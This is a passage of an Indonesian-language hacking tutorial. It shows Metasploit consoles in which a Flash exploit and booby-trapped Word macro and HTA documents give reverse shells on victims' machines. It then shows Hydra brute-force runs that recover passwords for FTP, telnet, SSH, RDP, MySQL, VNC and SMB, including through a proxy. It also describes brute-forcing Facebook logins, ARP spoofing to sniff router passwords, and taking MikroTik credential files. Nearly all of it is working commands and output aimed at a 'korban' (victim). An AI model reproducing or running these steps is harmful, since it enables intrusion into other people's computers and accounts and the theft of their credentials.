msf exploit(adobe_flash_hacking_team_uaf) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf exploit(adobe_flash_hacking_team_uaf) > set srvport 80
srvport => 80
msf exploit(adobe_flash_hacking_team_uaf) > set uripath /
uripath => /
msf exploit(adobe_flash_hacking_team_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.28:4444
msf exploit(adobe_flash_hacking_team_uaf) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.28:80/
[*] Server started.
```

Jalankan seperti di atas hingga Server Started

Korban mengakses ip attacker

```
msf exploit(adobe_flash_hacking_team_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.28:4444
msf exploit(adobe_flash_hacking_team_uaf) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.28:80/
[*] Server started.
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Gathering target information.
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Sending HTML response.
[-] 192.168.1.128    adobe_flash_hacking_team_uaf - Target has requested an unknown path: /favicon.ico
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Request: /UpKdQt/
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Sending HTML...
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Request: /UpKdQt/xqzIG.swf
[*] 192.168.1.128    adobe_flash_hacking_team_uaf - Sending SWF...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.128
[*] Command shell session 1 opened (192.168.1.28:4444 -> 192.168.1.128:49614) at 2016-10-08 00:12:56 -0400
[-] 192.168.1.128    adobe_flash_hacking_team_uaf - Target has requested an unknown path: /favicon.ico
```

```
msf exploit(adobe_flash_hacking_team_uaf) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\data\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Media State . . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet 3:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::9cbc:5c78:246d:510%7
   IPv4 Address. . . . . . . . . . . : 192.168.1.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::1%7
                                       192.168.1.1
```

Komputer korban teremote

Materi sisipan

Eksploitasi dengan Office Word Macro pada Microsoft Word 2010

Jalankan metasploit dengan perintah msfconsole

```
msf exploit(office_word_macro) > use windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > use exploit/multi/fileformat/office_word_macro
msf exploit(office_word_macro) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(office_word_macro) > show options

Module options (exploit/multi/fileformat/office_word_macro):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CUSTOMTEMPLATE                 no        A docx file that will be used as a template to build the exploit
   FILENAME      msf.docm         yes       The Office document macro file (docm)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:
```

use windows/meterpreter/reverse_tcp

show targets

set payload windows/meterpreter/reverse_tcp

show options

```
msf exploit(office_word_macro) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.101  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:feb9:ce2a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b9:ce:2a  txqueuelen 1000  (Ethernet)
        RX packets 1026  bytes 816474 (797.3 KiB)
        RX errors 3  dropped 0  overruns 0  frame 0
        TX packets 617  bytes 44956 (43.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 10  base 0xd020

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 26  bytes 1518 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26  bytes 1518 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf exploit(office_word_macro) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(office_word_macro) > exploit

[*] Using template: /usr/share/metasploit-framework/data/exploits/office_word_macro/template.docx
[*] Injecting payload in document comments
[*] Injecting macro and other required files in document
[*] Finalizing docm: msf.docm
[+] msf.docm stored at /root/.msf4/local/msf.docm
msf exploit(office_word_macro) > ifconfig
```

set lhost ipkomputersendiri

exploit

```
msf exploit(office_word_macro) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(handler) > exploit
[*] Exploit running as background job 0.
```

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

Client membuat file docm menggunakan Microsoft word 2010

```
msf exploit(handler) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.101:4444
msf exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.1.128
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.128:1315) at 2017-12-15 18:18:06 -0500
set session 1
session => 1
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 5020 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Windows\Documents>
```

Hasilnya seperti di atas

Materi sisipan

Eksploitasi dengan Office Word hta pada Microsoft Word 2013 / 2016

Jalankan msfconsole

```
=[ metasploit v4.16.6-dev                          ]
--=[ 1683 exploits - 964 auxiliary - 297 post       ]
--=[ 498 payloads - 40 encoders - 10 nops           ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(office_word_hta) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(office_word_hta) > show options

Module options (exploit/windows/fileformat/office_word_hta):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.doc          yes       The file name.
   SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machin
e or 0.0.0.0
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH   default.hta      yes       The URI to use for the HTA file


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.101    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:
```

use exploit windows/fileformat/office_word_hta

set payload windows/meterpreter/reverse_tcp

set lhost ipkomputer sendiri

```
   EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.101   yes       The listen address
   LPORT     4444            yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word


msf exploit(office_word_hta) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.101:4444
[+] msf.doc stored at /root/.msf4/local/msf.doc
[*] Using URL: http://0.0.0.0:8080/default.hta
[*] Local IP: http://192.168.1.101:8080/default.hta
[*] Server started.
msf exploit(office_word_hta) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.101  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:feb9:ce2a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b9:ce:2a  txqueuelen 1000  (Ethernet)
        RX packets 1903  bytes 897824 (876.7 KiB)
        RX errors 3  dropped 0  overruns 0  frame 0
        TX packets 1144  bytes 687125 (671.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 10  base 0xd020

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
```

exploit

File doc dibuka oleh target

```
msf exploit(office_word_hta) >
[*] Sending stage (179267 bytes) to 192.168.1.9
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.9:54574) at 2017-12-15 18:39:10 -0500

msf exploit(office_word_hta) > set session 1
session => 1
msf exploit(office_word_hta) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 4532 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Hasilnya seperti di atas

Bab 23

Brute Force

Serangan brutal (bahasa Inggris:Brute-force attack) adalah sebuah teknik serangan terhadap sebuah sistem keamanan komputer yang menggunakan percobaan terhadap semua kunci yang mungkin.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Serangan_brutal

23.1 Mencari wordlist di kali linux

Mencari wordlist di kali linux

```
root@kalidata: /usr/share/sqlmap/txt
File  Edit  View  Search  Terminal  Help
root@kalidata:~# locate smalldict
/usr/share/golismero/tools/sqlmap/txt/smalldict.txt
/usr/share/sqlmap/txt/smalldict.txt
/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/smalldict.txt
root@kalidata:~# cd /usr/share/sqlmap/txt
root@kalidata:/usr/share/sqlmap/txt# ls
common-columns.txt  keywords.txt   user-agents.txt
common-outputs.txt  pass.txt       wordlist.txt
common-tables.txt   smalldict.txt  wordlist.zip
root@kalidata:/usr/share/sqlmap/txt#
```

Membuat file user.txt

```
root@kalidata: /usr/share/sqlmap/txt
File  Edit  View  Search  Terminal  Help
root@kalidata:/usr/share/sqlmap/txt# nano user.txt
```

Memasukkan username yang mungkin digunakan server target

```
Applications  Places
root@kalidata: /usr/sha
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6              File: use

admin
root
data
```

Cek wordlist untuk password dan username, dan cek port dengan NMAP. Hasilnya ditemukan keberadaan port 21 dengan service FTP.

```
root@kalidata:/usr/share/sqlmap/txt# ls smalldict.txt
smalldict.txt
root@kalidata:/usr/share/sqlmap/txt# ls user.txt
user.txt
root@kalidata:/usr/share/sqlmap/txt# nmap 192.168.1.162

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-09 11:44 EDT
Nmap scan report for 192.168.1.162
Host is up (0.097s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
```

Cek FTP

```
root@kalidata:/usr/share/sqlmap/txt# ftp 192.168.1.162
Connected to 192.168.1.162.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.1.162:root):
```

```
root@kalidata:/usr/share/sqlmap/txt# ftp 192.168.1.162
Connected to 192.168.1.162.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.1.162:root): admin
331 Password required for admin
Password:
```

Brute force FTP Server dengan kondisi tidak tahu username dan password FTP Server

```
root@kalidata: /usr/share/sqlmap/txt
File  Edit  View  Search  Terminal  Help
root@kalidata:~# cd /
root@kalidata:/# locate smalldict
/usr/share/golismero/tools/sqlmap/txt/smalldict.txt
/usr/share/sqlmap/txt/smalldict.txt
/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/smalldict.txt
root@kalidata:/# cd /usr
root@kalidata:/usr# cd share
root@kalidata:/usr/share# cd sqlmap
root@kalidata:/usr/share/sqlmap# cd txt
root@kalidata:/usr/share/sqlmap/txt# ls
common-columns.txt  hydra.restore  smalldict.txt    wordlist.txt
common-outputs.txt  keywords.txt   user-agents.txt  wordlist.zip
common-tables.txt   pass.txt       user.txt
root@kalidata:/usr/share/sqlmap/txt# hydra -L user.txt -P smalldict.txt 192.168.
1.162 ftp
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-09 16:25:19
[WARNING] Restorefile (./hydra.restore) from a previous session found, to preven
t overwriting, you have 10 seconds to abort...
[DATA] 16 tasks, 1 server, 10701 login tries (l:3/p:3567), ~668 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.162   login: admin   password: 007
```

Hydra -L user.txt -P smalldict.txt 192.168.1.162 ftp

Brute force Telnet Server dengan sudah diketahui username tapi password tidak diketahui

```
root@kalidata:/usr/share/sqlmap/txt# hydra -l router -P smalldict.txt 192.168.1.
162 telnet
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-09 16:32:14
[WARNING] telnet is by its nature unreliable to analyze, if possible better choo
se FTP, SSH, etc. if available
[DATA] 16 tasks, 1 server, 3567 login tries (l:1/p:3567), ~222 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 192.168.1.162   login: router   password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-09 16:32:24
root@kalidata:/usr/share/sqlmap/txt#
```

Hydra -l router -P smalldict.txt 192.168.1.162 telnet

Brute force HTTP pada router modem ADSL

```
root@kalidata:/usr/share/sqlmap/txt# hydra -m / -l admin -P smalldict.txt 192.16
8.1.1 http-get
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-09 16:45:11
[DATA] 16 tasks, 1 server, 3567 login tries (l:1/p:3567), ~222 tries per task
[DATA] attacking service http-get on port 80
[80][www] host: 192.168.1.1   login: admin   password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-09 16:45:58
root@kalidata:/usr/share/sqlmap/txt#
```

hydra -m / -l admin -P smalldict.txt 192.168.1.1 http-get

```
^Croot@dhcppc4:/home# hydra -l kurniawan -P pass.txt 192.168.1.127 rdp
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-08 09:08:35
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to red
uce the number of parallel connections and -W 1 or -W 3 to wait between connecti
on to allow the server to recover
[DATA] 14 tasks, 1 server, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking service rdp on port 3389
[STATUS] attack finished for 192.168.1.127 (waiting for children to finish)
[3389][rdp] host: 192.168.1.127   login: kurniawan   password: baseball
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-08 09:08:42
```

hydra -l kurniawan -P pass.txt 192.168.1.127 rdp

```
root@dhcppc4:/home# hydra -l admin -P pass.txt 192.168.1.127 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-08 09:13:00
[DATA] 14 tasks, 1 server, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.127   login: admin   password: baseball
[STATUS] attack finished for 192.168.1.127 (waiting for children to finish)
[22][ssh] host: 192.168.1.127   login: admin   password: baseball
1 of 1 target successfuly completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-08 09:13:01
root@dhcppc4:/home#
```

hydra -l admin -P pass.txt 192.168.1.127 ssh

```
root@dhcppc4:/home# hydra -l root -P pass.txt 192.168.1.127 mysql
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-08 09:16:56
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connectio
ns)
[DATA] 4 tasks, 1 server, 14 login tries (l:1/p:14), ~3 tries per task
[DATA] attacking service mysql on port 3306
[3306][mysql] host: 192.168.1.127   login: root   password: baseball
[STATUS] attack finished for 192.168.1.127 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-08 09:16:56
```

hydra -l root -P pass.txt 192.168.1.127 mysql

```
root@dhcppc4:/home# hydra -P pass.txt 192.168.1.127 vnc
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-08 09:19:03
[WARNING] you should set the number of parallel task to 4 for vnc services.
[DATA] 14 tasks, 1 server, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking service vnc on port 5900
[STATUS] attack finished for 192.168.1.127 (waiting for children to finish)
[5900][vnc] host: 192.168.1.127   login:    password: baseball
```

hydra -P pass.txt 192.168.1.127 vnc

```
root@dhcppc4:/home# hydra -l data -P pass.txt 192.168.1.102 smb
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-08 09:33:11
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 14 login tries (l:1/p:14), ~14 tries per task
[DATA] attacking service smb on port 445
[445][smb] host: 192.168.1.102   login: data   password: baseball
[STATUS] attack finished for 192.168.1.102 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-08 09:33:11
root@dhcppc4:/home#
```

Hydra -l data -P pass.txt 192.168.1.102 smb

```
root@dhcppc4:/home# hydra -t 10 -V -f -l admin -x 5:5:12345 ftp://192.168.1.128
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2017-08-29 11:33:44
[ERROR] character 2 defined in -x although the whole number range was already defined by '1', ignored
[ERROR] character 3 defined in -x although the whole number range was already defined by '1', ignored
[ERROR] character 4 defined in -x although the whole number range was already defined by '1', ignored
[ERROR] character 5 defined in -x although the whole number range was already defined by '1', ignored
[DATA] 10 tasks, 1 server, 100000 login tries (l:1/p:100000), ~10000 tries per task
[DATA] attacking service ftp on port 21
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00000" - 1 of 100000 [child 0]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00001" - 2 of 100000 [child 1]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00002" - 3 of 100000 [child 2]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00003" - 4 of 100000 [child 3]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00004" - 5 of 100000 [child 4]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00005" - 6 of 100000 [child 5]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00006" - 7 of 100000 [child 6]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00007" - 8 of 100000 [child 7]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00008" - 9 of 100000 [child 8]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00009" - 10 of 100000 [child 9]
[ATTEMPT] target 192.168.1.128 - login "admin" - pass "00010" - 11 of 100000 [child 8]
[21][ftp] host: 192.168.1.128   login: admin   password: 00007
[STATUS] attack finished for 192.168.1.128 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-08-29 11:33:56
root@dhcppc4:/home#
```

hydra -t 10 -V -f -l root -x 5:5:12345 ftp://192.168.1.128

hydra -t 10 -V -f -l root -x 5:5:12345 192.168.1.128 ftp

Brute force menggunakan hydra tanpa wordlist

23.2 Brute force memanfaatkan Proxy

In computer networks, a proxy server is a server (a computer system or an application) that acts as an intermediary for requests from clients seeking resources from other servers.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Proxy_server

```
root@dhcppc4:~# HYDRA_PROXY=http://192.168.1.128:808
root@dhcppc4:~# export HYDRA_PROXY
```

Ip address proxy server dan portnya

```
root@dhcppc4:~# printenv | grep HYDRA
HYDRA_PROXY=http://192.168.1.128:808
```

Setelah selesai set proxy untuk hydra maka cek untuk brute force FTP Server

```
root@dhcppc4:~# hydra -l admin -P pass.txt 192.168.1.127 ftp
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-11 21:20:11
[INFO] Using Connect Proxy: http://192.168.1.128:808
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.127   login: admin   password: baseball
[STATUS] attack finished for 192.168.1.127 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-11 21:20:11
```

23.3 Generate wordlit dengan Crunch

Crunch adalah program untuk generator wordlist

Format : crunch <min-len> <max-len> [<charset string>] [options]

```
root@dhcppc4:~# mkdir wordlist
root@dhcppc4:~# cd wordlist
root@dhcppc4:~/wordlist# crunch 5 6 abc -o wordlist.txt
Crunch will now generate the following amount of data: 6561 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 972
100%
root@dhcppc4:~/wordlist#
```

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6              File: wordlist.txt

aaaaa
aaaab
aaaac
aaaba
aaabb
aaabc
aaaca
aaacb
aaacc
aabaa
aabab
aabac
aabba
aabbb
aabbc
                          [ Read 972 lines ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur P
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Sp
```

Tambahan untuk option

-b : the maximum size of the wordlist (requires -o START)
-c : numbers of lines to write to the wordlist (requires -o START)
-d : limit the number of duplicate characters
-e : stop generating words at a certain string
-f : specify a list of character sets from the charset.lst file
-i : invert the order of characters in the wordlist
-l : allows the literal interpretation of @,%^ when using -t
-o : the output wordlist file

-p : print permutations without repeating characters (cannot be used with -s)
-q : Like the -p option except it reads the strings from a specified file
-r : resume a previous session (cannot be used with -s)
-s : specify a particular string to begin the wordlist with
-t : set a specific pattern of @,%^
-z : compress the output wordlist file, accompanied by –o

Sumber : http://null-byte.wonderhowto.com/how-to/tutorial-create-wordlists-with-crunch-0165931/

18.4 Brute force dengan Fireforce

Fireforce adalah salah satu add on untuk firefox untuk melakukan melakukan serangan brute force dengan memanfaatkan GET or POST forms

Sumber : https://addons.mozilla.org/id/firefox/addon/fireforce

Klik add to Firefox

Pastikan Firerce aktif di add-ons

Buka facebook.com, klik kanan pada input password, pilih Fireforce lalu Load Dictionary

Wordlist bisa dipilih pass.txt

Klik Save

Brute dilakukan, jika password ada di wordlist dan batas login di facebook masih dapat dilakukan maka password dapat ditemukan.

Materi sisipan

Eksploitasi mikrotik router & winbox

Mikrotik?

MikroTik RouterOS™ adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer manjadi router network yang handal, mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless, cocok digunakan oleh ISP dan provider hotspot.

Sumber : http://www.mikrotik.co.id/

Serangan ke mikrotik router, aplikasi clientnya serta memanfaatkan kelemahan protokol yang tidak dienkripsi

- Brute force attack
- ARP Spoofing (Titik serang pada memanfaatkan kelemahan protocol Telnet)
- DoS Web login Mikrotik
- Social engineering (Memanfaatkan kelemahan winbox untuk meremote komputer admin)
- Serangan lokal menggunakan mtpass

Brute Force

C:\Documents and Settings\serverdata>nmap -A 192.168.1.174

Starting Nmap 5.21 (http://nmap.org) at 2011-11-07 15:36 Pacific Standard Time

Nmap scan report for 192.168.1.174

Host is up (0.00013s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp MikroTik router ftpd 3.20

22/tcp open ssh OpenSSH 2.3.0 mikrotik 2.9 (protocol 1.99)

|_sshv1: Server supports SSHv1

| ssh-hostkey: 1024 c6:5e:04:d3:12:db:1d:98:c9:17:e2:98:77:d4:39:ba (RSA1)

|_1024 76:68:bc:ee:e3:40:f5:6b:72:ea:44:55:df:86:06:ec (DSA)

23/tcp open telnet Linux telnetd

80/tcp open http MikroTik router http config

|_html-title: mikrotik routeros > administration

2000/tcp open winbox MikroTik WinBox management console

8080/tcp open http-proxy Mikrotik http proxy

8291/tcp open unknown

MAC Address: 08:00:27:22:84:F1 (Cadmus Computer Systems)

Device type: media device

Running: Chumby embedded

OS details: Chumby Internet radio

Network Distance: 1 hop

Service Info: OS: Linux; Device: router

HOP RTT ADDRESS

1 0.13 ms 192.168.1.174

OS and Service detection performed. Please report any incorrect results at http:

//nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 170.00 seconds

C:\hydra>hydra -l admin -P kamus.txt 192.168.1.174 ftp

Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-11-07 14:39:20

[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task

[DATA] attacking service ftp on port 21

[21][ftp] host: 192.168.1.174 login: admin password: jagoan

[STATUS] attack finished for 192.168.1.174 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2011-11-07 14:39:26

DoS (Denial of Service)

DoS pada Winbox service

Sumber

- http://www.exploit-db.com/exploits/18817

- python mkDL.py (ip) DoS

ARP Spoofing

ARP Spoofing adalah sebuah teknik penyadapan oleh pihak ketiga yang dilakukan dalam sebuah jaringan LAN

Di sini dapat memanfaatkan untuk menyadap password Telnet dengan menggunakan Cain.

Contoh melakukan arp spoofing dengan Cain

Pilih Configure

Klik kanan lalu scan mac pada page sniffer

Daftar ip address serta MAC address

File View Configure Tools Help
Decoders
Network
Sniffer
Cracker
Traceroute
CCDU
Wireless
Query
APR
APR-Cert
APR-DNS
APR-SSH-1 (0)
APR-HTTPS (0)
APR-ProxyHTTPS (0)
APR-RDP (0)
APR-FTPS (0)
APR-POP3S (0)
APR-IMAPS (0)
APR-LDAPS (0)
APR-SIPS (0)
Status
IP address
MAC address
Packets ->
<- Packets
2
Configuration / Routed Packets
1
Hosts
APR
Routing
Passwords
VoIP

File View Configure Tools Help
Decoders
Network
New ARP Poison Routing
WARNING !!!
APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in both directions. If a selected host has routing capabilities WAN traffic will be intercepted as well. Please note that since your machine has not the same performance of a router you could cause DoS if you set APR between your Default Gateway and all other hosts on your LAN.
IP address MAC Hostname
192.168.1.1 6466B3CC6A2A
192.168.1.8 647002E20459
192.168.1.14 002586D20658
192.168.1.28 D4CA6D5E8DE9
192.168.1.41 D4CA6D5E8DEC
192.168.1.93 0800270CA932
192.168.1.127 001FC6C59AA3
192.168.1.192 003018AAA861
192.168.1.215 001617278BEA
admin
192.168.1.192 003018AAA861
192.168.1.93 0800270CA932
192.168.1.65 001FC6C59AA3
192.168.1.28 D4CA6D5E8DE9
192.168.1.14 002586D20658
192.168.1.8 647002E20459
192.168.1.1 6466B3CC6A2A
mikrotik router
OK
Cancel
APR
APR-Cert
APR-DNS
APR-SSH-1 (0)
APR-HTTPS (0)
APR-ProxyHTTPS (0)
APR-RDP (0)
APR-FTPS (0)
APR-POP3S (0)
APR-IMAPS (0)
APR-LDAPS (0)
APR-SIPS (0)
Hosts
APR
Routing
Passwords
VoIP

File View Configure Tools Help
Decoders
Network
Sniffer
Cracker
Traceroute
CCDU
Wireless
Query
APR
APR-Cert
APR-DNS
APR-SSH-1 (0)
APR-HTTPS (0)
APR-ProxyHTTPS (0)
APR-RDP (0)
APR-FTPS (0)
APR-POP3S (0)
APR-IMAPS (0)
APR-LDAPS (0)
APR-SIPS (0)
Status IP address MAC address Packets -> <- Packets MAC address IP address
Poisoning 192.168.1.127 001FC6C59AA3 0800270CA932 192.168.1.93
Status IP address MAC address Packets -> <- Packets MAC address IP address

Saat admin melakukan login

2

Social engineering

Social engineering adalah pemerolehan informasi atau maklumat rahasia/sensitif dengan cara menipu pemilik informasi tersebut.

Client side attack

http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip

Pancing korban untuk memanggil ip address dari komputer yang sudah mengaktifkan exploit melalui winbox.

Secara otomatis saat memanggil dari winbox maka admin dapat dimungkinkan untuk diremote komputernya melalui port 4444.

Serangan pada komputer (local attack)

Mengetahui password mikrotik dari file backup atau user.dat

Masukkan CD Ubuntu di PC mikrotik, jalankan live CD. Gunakan akses root. Buka dulu melalui GUI untuk /media/ sebagai cara memancing. Setelah itu masuk terminal cd/media/(folder tempat media mikrotik) lalu masuk ke rw lalu store, copykan file user.dat ke komputer anda lewat smb.

Jalankan Ubuntuu.vdi.

Bab 24
Autopwn Metasploit Automated dengan Backtrack (Fast Track)

Fast-track adalah program penetrasi keamanan komputer yang bekerja secara otomatis

Kita sudah masuk ke tampilan Backtrack 3

Kita masuk ke shell bash.

Klik pada icon warna hitam yang merupakan untuk menjalankan shell bash.

```
bt ~ # ifconfig eth0 192.168.1.39 netmask 255.255.255.0
bt ~ # ifconfig
